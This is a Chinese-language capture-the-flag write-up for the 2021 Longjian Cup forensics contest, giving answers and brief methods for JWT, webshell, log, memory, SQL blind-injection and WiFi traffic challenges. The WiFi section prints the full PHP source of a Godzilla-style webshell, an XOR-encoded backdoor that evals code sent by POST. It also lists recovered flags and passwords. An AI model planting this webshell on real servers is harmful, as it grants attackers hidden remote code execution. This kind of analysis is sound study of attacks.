2021 陇剑杯wp
前言
这比赛应该叫应急响应比赛,而且flag交三次就不能交了,就因为我交错一道题然后差一道进线下,气死了。
Jwt
2.1 jwt
题目提示
2.2
搜索username得到
10087#admin
2.3 root
不是root就是admin
2.4 1.c
2.5 looter.so
2.6 /etc/pam.d/common-auth
Webshell
3.1
Admin123!@#
http.request.method == "POST" && http contains "login"
https://blog.csdn.net/qq_43431158/article/details/107176918
3.2
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3
www-data
3.4
1.php
3.5
frpc
3.6
192.168.239.123
3.7
0HDFt16cLQJ#JTN276Gp
日志分析
4.1 www.zip
4.2 sess_car
4.3 SplFileObject
内存分析
python ./vol.py -f Target.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8c7d10 -D ./ -u
发现有关华为的东西,用volatility的dumpfiles命令dump下来,导出来改成rar后缀解压,发现是个华为手机的备份包
然后用脚本进行解密,具体参考Huawei backup - decrypt (linkedin.com),一定要用python3.7,但不要用参考链接给的python3.7,有问题
实测python3.5也可以直接跑
发现还需要一个密码,然后用volatility的lsadump命令,发现密码
根据提示,没有空格键,有下划线,W31C0M3_T0_THiS_34SY_F0R3NSiCX,然后用脚本的命令
恢复文件得到flag
简单的日志分析
7.1
user
7.2
/Th4s_IS_VERY_Import_Fi1e
7.3
192.168.2.197:8888
SQL注入
8.1
分析日志,攻击者在通过sql盲注来获取flag
布尔盲注
8.2
分析sql语句的内容 select flag from sqli.flag
sqli#flag#flag
8.3
分析盲注的编号的最后一个比较 说明匹配上了
如上 最后一个字符是%7D 也就是} 向上匹配可得flag
flag{deddcd67-bcfd-487e-b940-1217e668c7db}
IOS
10.1
搜索github找到
10.2
同上
10.3
10.4
搜索select,找到流量
把192.168.1.12的流量全部提出来
因为是盲注,所以直接看盲注每一个字节的流量的最后一条
一个一个提出来:37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32 5A 5A 5A 6A
转字符串:746558f3-c841-456b-85d7-d6c0f2edabb2ZZZj
提交不对,发现有N个Z,怀疑从Z开始就是注多了的,去掉ZZZj,提交
10.5
10-499
10.7
已知192.168.1.12被盲注,尝试加上192.168.1.8,发现不对,查看日志文件,得到IP 172.28.0.3,不对,去wireshark寻找,找不到这个IP
尝试搜索172.28.0.2,找到了
再尝试提交,172.28.0.2#192.168.1.12
成功
10.8
Wifi
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
通过镜像的vmep文件分析,提取出了一个压缩包
dump下来后发现密码提示是network adapter的guid
通过搜索注册表得到了guid 解压下来是一wifi密码和ssid 在wireshark中配置一下密码和ssid 得到一个wifi包
在wifi包中发现有哥斯拉流量 在网上搜索解密的脚本 默认配置即可 得到flag
flag{5db5b7b0bb74babb66e1522f3a6b1b12}